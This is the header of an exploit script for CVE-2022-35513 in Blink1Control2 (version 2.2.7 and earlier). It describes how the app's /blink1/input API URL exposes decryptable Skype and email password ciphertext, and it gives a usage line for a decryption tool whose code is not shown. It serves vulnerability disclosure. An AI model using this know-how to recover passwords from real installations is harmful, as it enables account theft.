  // Vendor Homepage: https://thingm.com/
  // Software Link: https://github.com/todbot/Blink1Control2/releases/tag/v2.2.7
  // Vulnerable Version: blink1control2 <= 2.2.7
  // Tested on: Ubuntu Linux 20.04, Windows 10, Windows 11.
  // CVE: CVE-2022-35513
  //
  // Description:
  // the blink1control2 app (versions <= 2.2.7) utilises an insecure method
  // of password storage which can be found by accessing the /blink1/input url
  // of the api server.
  // password ciphertext for skype logins and email are listed
  // and can be decrypted. example usage:
  // node blink1-pass-decrypt <ciphertext>
  #!/usr/bin/env node
